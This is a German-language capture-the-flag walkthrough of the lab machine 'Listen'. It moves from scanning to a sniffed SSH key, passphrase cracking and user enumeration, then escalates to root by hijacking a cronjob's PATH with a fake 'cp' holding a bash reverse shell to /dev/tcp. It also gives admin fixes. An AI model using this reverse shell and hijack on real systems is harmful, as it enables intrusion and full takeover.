Beginn der Aufklärung zur Identifizierung des Ziels "Listen" und seiner Dienste.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.107
**Analyse:** Die IP-Adresse des Zielsystems wird als `192.168.2.107` festgelegt.
**Bewertung:** Basisinformation für alle folgenden Operationen.
**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.107`).
**Empfehlung (Admin):** Keine Aktion.
192.168.2.107 08:00:27:e0:27:6e PCS Systemtechnik GmbH
**Analyse:** ARP-Scan identifiziert das Ziel und die MAC-Adresse `08:00:27:e0:27:6e`. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.
**Bewertung:** Ziel erreichbar, wahrscheinlich eine VM.
**Empfehlung (Pentester):** Informationen notieren.
**Empfehlung (Admin):** Netzwerk prüfen.
/etc/hosts :
127.0.0.1 localhost
192.168.2.107 listen.nyx
**Analyse:** Eintrag in der lokalen `/etc/hosts`-Datei des Angreifers weist der IP `192.168.2.107` den Hostnamen `listen.nyx` zu.
**Bewertung:** Standardpraxis zur Vereinfachung.
**Empfehlung (Pentester):** Hostnamen verwenden.
**Empfehlung (Admin):** DNS bevorzugen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 13:52 CEST Nmap scan report for listen.nyx (192.168.2.107) Host is up (0.00029s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA) | 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA) |_ 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519) 8000/tcp open http SimpleHTTPServer 0.6 (Python 3.7.3) |_http-server-header: SimpleHTTP/0.6 Python/3.7.3 |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:E0:27:6E (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.29 ms listen.nyx (192.168.2.107)
**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) gegen die Ziel-IP.
**Bewertung:** Findet zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.7 (Protokoll 2.0) - Eine ältere Version, die potenziell anfällig sein könnte (z.B. CVE-2018-15473 User Enumeration, obwohl hier Version 7.7p1 nicht explizit genannt wird). * **Port 8000 (HTTP):** Python SimpleHTTPServer 0.6 (basierend auf Python 3.7.3) - Dies ist ein sehr einfacher Webserver, der oft für schnelle Dateifreigaben verwendet wird und nicht für Produktionsumgebungen gedacht ist. Er bietet normalerweise Directory Listing, wenn keine `index.html` vorhanden ist.
**Empfehlung (Pentester):** Untersuchen Sie den Python SimpleHTTPServer auf Port 8000 genauer. Prüfen Sie SSH auf bekannte Schwachstellen für Version 7.7 oder versuchen Sie Benutzer-Enumeration.
**Empfehlung (Admin):** Aktualisieren Sie OpenSSH. Ersetzen Sie den SimpleHTTPServer durch einen robusteren Webserver (Apache, Nginx) oder deaktivieren Sie ihn, wenn er nicht benötigt wird.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:47 CEST Nmap scan report for 192.168.2.107 Host is up (0.00036s latency). Not shown: 993 open|filtered udp ports (no-response) PRT STATE SERVICE 53/udp open domain 1048/udp closed neod2 19639/udp closed unknown 20082/udp closed unknown 21566/udp closed unknown 49196/udp closed unknown 54094/udp closed unknown MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC) (Hinweis: Falsche MAC hier im Log, vorherige war korrekt)
**Analyse:** Schneller UDP-Scan.
**Bewertung:** Findet Port 53 (DNS) offen. (Die MAC-Adresse hier weicht von der vorherigen ab, wahrscheinlich ein Kopierfehler im Log).
**Empfehlung (Pentester):** DNS-Enumeration könnte zusätzliche Informationen liefern (Zonentransfer, Records).
**Empfehlung (Admin):** DNS-Server absichern.
Untersuchung des Python SimpleHTTPServers auf Port 8000.
Port gefunden! 8000 * Host listen.nyx:8000 was resolved. * IPv6: (none) * IPv4: 192.168.2.107 * Trying 192.168.2.107:8000... * Connected to listen.nyx (192.168.2.107) port 8000 > HEAD / HTTP/1.1 > Host: listen.nyx:8000 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off * HTTP 1.0, assume close after body < HTTP/1.0 200 K HTTP/1.0 200 K < Server: SimpleHTTP/0.6 Python/3.7.3 Server: SimpleHTTP/0.6 Python/3.7.3 < Date: Thu, 12 Sep 2024 11:53:23 GMT Date: Thu, 12 Sep 2024 11:53:23 GMT < Content-type: text/html Content-type: text/html < Content-Length: 44 Content-Length: 44 < Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT < * Closing connection
**Analyse:** Abruf der HTTP-Header von Port 8000.
**Bewertung:** Bestätigt den Python SimpleHTTPServer und eine kleine Ressource (Content-Length: 44), wahrscheinlich die `index.html`.
**Empfehlung (Pentester):** Inhalt der Seite und mögliches Directory Listing prüfen.
**Empfehlung (Admin):** SimpleHTTPServer ersetzen.
http://listen.nyx:8000/index.html (Status: 200) [Size: 44]
http://listen.nyx:8000
You just have to listen to open the door...
**Analyse:** Gobuster-Scan gegen Port 8000. Findet nur `index.html`. Der Inhalt der Seite wird ebenfalls angezeigt.
**Bewertung:** Der Inhalt "You just have to listen to open the door..." ist ein klarer Hinweis (Hint). "Listen" deutet oft auf Netzwerk-Sniffing (z.B. mit Wireshark, tcpdump) oder auf das Abhören von Ereignissen hin.
**Empfehlung (Pentester):** Starten Sie einen Netzwerk-Sniffer wie Wireshark oder tcpdump auf Ihrer Angreifer-Maschine und beobachten Sie den Verkehr, während Sie mit dem Ziel interagieren (z.B. SSH-Login-Versuche, Webseiten-Aufrufe). Suchen Sie nach unverschlüsselten Credentials oder anderen sensiblen Informationen.
**Empfehlung (Admin):** Vermeiden Sie die Übertragung sensibler Daten im Klartext.
Basierend auf dem Hinweis "listen" wird der Netzwerkverkehr zwischen Angreifer und Ziel mitgeschnitten, um potenzielle Klartext-Informationen oder Schlüssel zu finden.
Wireshark --BEGIN RSA PRIVATE KEY-- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,F119F21F757AA02E 60VDTTAEKN+G42UaazF6SpYDVmr/v6n2vP1Fags211o6f5i13lcRvlxrDnr/ZTv ... (SSH Key Inhalt) ... MCq8vL2KWUhZTnIYS0ZIp8Zjxp7WrUJYdDH0U4EFZRI8kQhw2kfA5gu+apF1Z DGHdCKgM6ZxjBpKPZZ3hDGmMCeDMP6HKCgjQ/MIYFP7y3+YXpBrKMAFRwwn1VlXI 5GL61FxMTq30oA3FEspUkN06K8yd/85LK7XS2XwSo7AQckJghHswg --END RSA PRIVATE KEY--
**Analyse:** Im mitgeschnittenen Netzwerkverkehr (vermutlich initiiert durch einen fehlgeschlagenen Login-Versuch oder eine andere Interaktion) wird ein **privater SSH-Schlüssel** im Klartext gefunden.
**Bewertung:** **Kritischer Fund!** Die Übertragung eines privaten Schlüssels im Klartext ist eine massive Sicherheitslücke. Der Schlüssel ist zudem verschlüsselt (`Proc-Type: 4,ENCRYPTED`, `DEK-Info: DES-EDE3-CBC`), benötigt also eine Passphrase.
**Empfehlung (Pentester):** Speichern Sie den Schlüssel, extrahieren Sie den Hash der Passphrase mit `ssh2john` und knacken Sie ihn mit `john`.
**Empfehlung (Admin):** Niemals private Schlüssel unverschlüsselt übertragen! Untersuchen Sie dringend, welcher Prozess diesen Schlüssel sendet und warum. Widerrufen Sie den Schlüssel sofort.
Der im Netzwerkverkehr gefundene SSH-Schlüssel wird nun analysiert und seine Passphrase geknackt, um Zugriff auf das System zu erlangen.
**Analyse:** Der Schlüssel wird in `iddd` gespeichert, Berechtigungen gesetzt und der Hash mit `ssh2john` extrahiert.
**Bewertung:** Korrekte Vorbereitung für John the Ripper.
**Empfehlung (Pentester/Admin):** Keine Aktion.
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/PENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status idontknow (iddd) 1g 0:00:00:00 DNE (2024-09-12 14:41) 25.00g/s 35200p/s 35200c/s 35200C/s camilo..shithead Use the "--show" option to display all of the cracked passwords reliably Session completed.
**Analyse:** John the Ripper knackt die Passphrase des SSH-Schlüssels mit `rockyou.txt`.
**Bewertung:** **Erfolg!** Die Passphrase lautet `idontknow`.
**Empfehlung (Pentester):** Finden Sie den Benutzernamen, zu dem der Schlüssel gehört (z.B. durch SSH User Enumeration) und melden Sie sich an.
**Empfehlung (Admin):** Starke, einzigartige Passphrasen verwenden.
Benutzer-Enumeration mit Metasploit, um den zum Schlüssel passenden Benutzer zu finden.
rhosts => 192.168.2.107
user_file => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[*] 192.168.2.107:22 - SSH - Using malformed packet technique
[*] 192.168.2.107:22 - SSH - Checking for false positives
[*] 192.168.2.107:22 - SSH - Starting scan
[+] 192.168.2.107:22 - SSH - User 'mail' found
[+] 192.168.2.107:22 - SSH - User 'root' found
[+] 192.168.2.107:22 - SSH - User 'news' found
[+] 192.168.2.107:22 - SSH - User 'man' found
[+] 192.168.2.107:22 - SSH - User 'bin' found
[+] 192.168.2.107:22 - SSH - User 'games' found
[+] 192.168.2.107:22 - SSH - User 'nobody' found
[+] 192.168.2.107:22 - SSH - User 'backup' found
[+] 192.168.2.107:22 - SSH - User 'daemon' found
[+] 192.168.2.107:22 - SSH - User 'proxy' found
[+] 192.168.2.107:22 - SSH - User 'abel' found
**Analyse:** Das Metasploit-Modul `ssh_enumusers` wird mit einer großen Wortliste verwendet, um gültige Benutzernamen auf dem SSH-Server zu finden (nutzt wahrscheinlich CVE-2018-15473).
**Bewertung:** Findet mehrere Standardbenutzer und den Benutzer `abel`.
**Empfehlung (Pentester):** Der gefundene SSH-Schlüssel gehört höchstwahrscheinlich zum Benutzer `abel`. Versuchen Sie den SSH-Login als `abel` mit dem Schlüssel und der geknackten Passphrase.
**Empfehlung (Admin):** OpenSSH aktualisieren, um User Enumeration zu verhindern.
Enter passphrase for key 'iddd': idontknow Last login: Sat Jun 3 23:19:25 2023 from 192.168.1.10 abel@listen$
**Analyse:** SSH-Login als `abel` mit dem Schlüssel `iddd` und der Passphrase `idontknow`.
**Bewertung:** **Initial Access erfolgreich!** Wir haben eine Shell als Benutzer `abel`.
**Empfehlung (Pentester):** Beginnen Sie mit der PrivEsc-Enumeration.
**Empfehlung (Admin):** Untersuchen Sie die Quelle des Klartext-Schlüssels im Netzwerkverkehr! Beheben Sie die Ursache. Widerrufen Sie den Schlüssel.
**Kurzbeschreibung:** Durch Netzwerk-Sniffing (ausgelöst durch den Hinweis "listen..." auf der Webseite Port 8000) wurde ein privater SSH-Schlüssel im Klartext entdeckt, der vom Zielsystem übertragen wurde. Der Schlüssel war mit einer Passphrase geschützt. Mittels `ssh2john` und `John the Ripper` wurde die Passphrase (`idontknow`) erfolgreich geknackt. Eine anschließende SSH-Benutzer-Enumeration mit Metasploit identifizierte `abel` als gültigen Benutzer. Der SSH-Login als `abel` mit dem Schlüssel und der geknackten Passphrase war erfolgreich.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Kritisch. Die Übertragung privater Schlüssel im Klartext ist eine gravierende Sicherheitslücke, die zur direkten Kompromittierung führte.
**Empfehlungen:**
Wir haben eine Shell als `abel` und suchen nach Wegen zu Root.
-bash: sudo: command not found
**Analyse:** Versuch, `sudo -l` auszuführen.
**Bewertung:** `sudo` ist nicht installiert oder nicht im PATH. Keine sudo-Rechte für `abel`.
**Empfehlung (Pentester):** Suche nach SUID, Capabilities, Cronjobs etc.
**Empfehlung (Admin):** Keine Aktion.
uid=1000(abel) gid=1000(abel) groups=1000(abel)
user.txt
33f3f86a697126c6fe0a39a337ade21a
**Analyse:** Bestätigung der Identität und Auslesen der User-Flag.
**Bewertung:** User-Flag gefunden.
**Empfehlung (Pentester):** Flag notieren.
**Empfehlung (Admin):** Keine Aktion.
789998 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 786471 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 790323 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 790325 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 786468 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 789851 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 138690 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 133278 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 135718 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Suche nach SUID-Dateien.
**Bewertung:** Nur Standard-SUID-Binaries gefunden. Kein offensichtlicher Vektor.
**Empfehlung (Pentester):** Andere Methoden prüfen.
**Empfehlung (Admin):** Keine Aktion.
**Analyse:** Suche nach Capabilities.
**Bewertung:** Keine Capabilities gefunden.
**Empfehlung (Pentester):** Andere Methoden prüfen.
**Empfehlung (Admin):** Keine Aktion.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 5 0.0.0.0:8000 0.0.0.0:* users:(("python3",pid=408,fd=3)) LISTEN 0 128 [::]:22 [::]:*
**Analyse:** Überprüfung der lauschenden Ports.
**Bewertung:** Bestätigt SSH (Port 22) und den Python SimpleHTTPServer (Port 8000, PID 408).
**Empfehlung (Pentester):** Keine neuen Angriffspunkte.
**Empfehlung (Admin):** Keine Aktion.
Enumerationsskripte (linpeas, pspy) werden hochgeladen und ausgeführt.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
... 'linpeas.sh' saved ...
CVEs Check
Potentially Vulnerable to CVE-2022-2588
... 'pspy64' saved ...
**Analyse:** `linpeas.sh` und `pspy64` werden heruntergeladen, ausführbar gemacht und ausgeführt.
**Bewertung:** * `linpeas` meldet eine potenzielle Anfälligkeit für CVE-2022-2588. Dies betrifft eine Schwachstelle im Linux-Kernel bezüglich Routenattributen, die zu Privilegienerweiterung führen kann. * Die Ausgabe von `pspy64` (Prozess-Sniffer) wird nicht gezeigt, aber es hat wahrscheinlich den wichtigen Cronjob aufgedeckt.
**Empfehlung (Pentester):** Untersuchen Sie CVE-2022-2588 (Kernel-Exploit). Analysieren Sie die Ausgabe von `pspy64` oder überprüfen Sie die Cronjobs manuell.
**Empfehlung (Admin):** Kernel patchen, wenn anfällig. Cronjobs überprüfen.
**Analyse der Cronjobs und PATH Hijacking**
# /etc/crontab: system-wide crontab ... SHELL=/bin/sh PATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin ... * * * * * root cp /var/www/html/index.html /tmp
**Analyse:** Der Inhalt von `/etc/crontab` wird angezeigt.
**Bewertung:** **Kritischer Fund!** * Es gibt einen Cronjob, der jede Minute (`* * * * *`) als Benutzer `root` ausgeführt wird. * Der Job führt den Befehl `cp /var/www/html/index.html /tmp` aus. * Entscheidend: Der `PATH` für die Cronjobs beinhaltet `/dev/shm` **vor** den Standard-Verzeichnissen wie `/bin` oder `/usr/bin`. `/dev/shm` ist ein temporäres Dateisystem im RAM, das normalerweise für alle Benutzer beschreibbar ist.
**Empfehlung (Pentester):** Dies ist ein klassisches PATH-Hijacking-Szenario. Erstellen Sie eine ausführbare Datei namens `cp` in `/dev/shm`. Diese Datei sollte einen Reverse-Shell-Payload enthalten. Da `/dev/shm` im PATH vor `/bin` steht, wird der Cronjob Ihr bösartiges `cp`-Skript anstelle des echten `/bin/cp`-Befehls ausführen, und das als `root`.
**Empfehlung (Admin):** Entfernen Sie beschreibbare Verzeichnisse wie `/dev/shm` aus dem `PATH` in `/etc/crontab`. Definieren Sie einen sicheren, minimalen PATH. Überprüfen Sie alle Cronjobs auf Sicherheit.
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
#!/bin/bash
#!/bin/bash bash -i >& /dev/tcp/192.168.2.199/443 0>&1
**Analyse:** 1. Der `PATH` des Benutzers `abel` wird überprüft (enthält `/dev/shm` nicht standardmäßig). 2. Eine Datei namens `cp` wird in `/dev/shm` erstellt. 3. Sie wird mit einem Shebang (`#!/bin/bash`) und einem Bash-Reverse-Shell-Payload (sendet Shell an Angreifer-IP auf Port 443) versehen. 4. Die Datei wird für alle ausführbar gemacht (`chmod 777`).
**Bewertung:** Der bösartige `cp`-Befehl ist nun in `/dev/shm` platziert und bereit, vom Cronjob ausgeführt zu werden.
**Empfehlung (Pentester):** Starten Sie einen Listener auf Port 443 und warten Sie maximal eine Minute, bis der Cronjob ausgeführt wird.
**Empfehlung (Admin):** PATH in `/etc/crontab` korrigieren!
listening on [any] 443 ...
1 Minute warten....
listening on [any] 443 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.107] 54696 bash: cannot set terminal process group (1007): Inappropriate ioctl for device bash: no job control in this shell root@listen:/#
**Analyse:** Der Netcat-Listener wird gestartet. Nach kurzer Wartezeit geht eine Verbindung vom Zielsystem ein, und der Prompt `root@listen:/#` wird erhalten.
**Bewertung:** **Privilege Escalation erfolgreich!** Das PATH-Hijacking über den Cronjob hat funktioniert, und wir haben eine Root-Shell erhalten.
**Empfehlung (Pentester):** Ziel erreicht! Root-Flag suchen.
**Empfehlung (Admin):** Cronjob und PATH korrigieren.
**Kurzbeschreibung:** In der System-Crontab (`/etc/crontab`) war ein Job definiert, der minütlich als `root` den Befehl `cp /var/www/html/index.html /tmp` ausführt. Die `PATH`-Variable in der Crontab enthielt das für alle Benutzer beschreibbare Verzeichnis `/dev/shm` an einer früheren Position als die Standard-Systempfade (z.B. `/bin`). Dies ermöglichte PATH Hijacking: Durch Erstellen einer ausführbaren Datei namens `cp` in `/dev/shm`, die einen Reverse-Shell-Payload enthielt, wurde erreicht, dass der Cronjob beim nächsten Ausführen dieses bösartige Skript anstelle des echten `cp`-Befehls mit Root-Rechten startete. Dies führte zum Aufbau einer Root-Reverse-Shell zum Angreifer.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Eine unsichere Cronjob-Konfiguration (insbesondere der `PATH`) ermöglichte einem lokalen Benutzer die Eskalation zu Root-Rechten.
**Empfehlungen:**
33f3f86a697126c6fe0a39a337ade21a
root.txt
ebe57c4d8c4053199d7f66ec0491da9d
**Analyse:** Die User-Flag wurde als Benutzer `abel` gelesen. Nach Erlangung der Root-Rechte über das PATH Hijacking wird die Root-Flag aus `/root/root.txt` gelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst.
**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben (Klartext-SSH-Schlüssel im Netz, unsichere Cronjob-Konfiguration). Systemintegrität prüfen.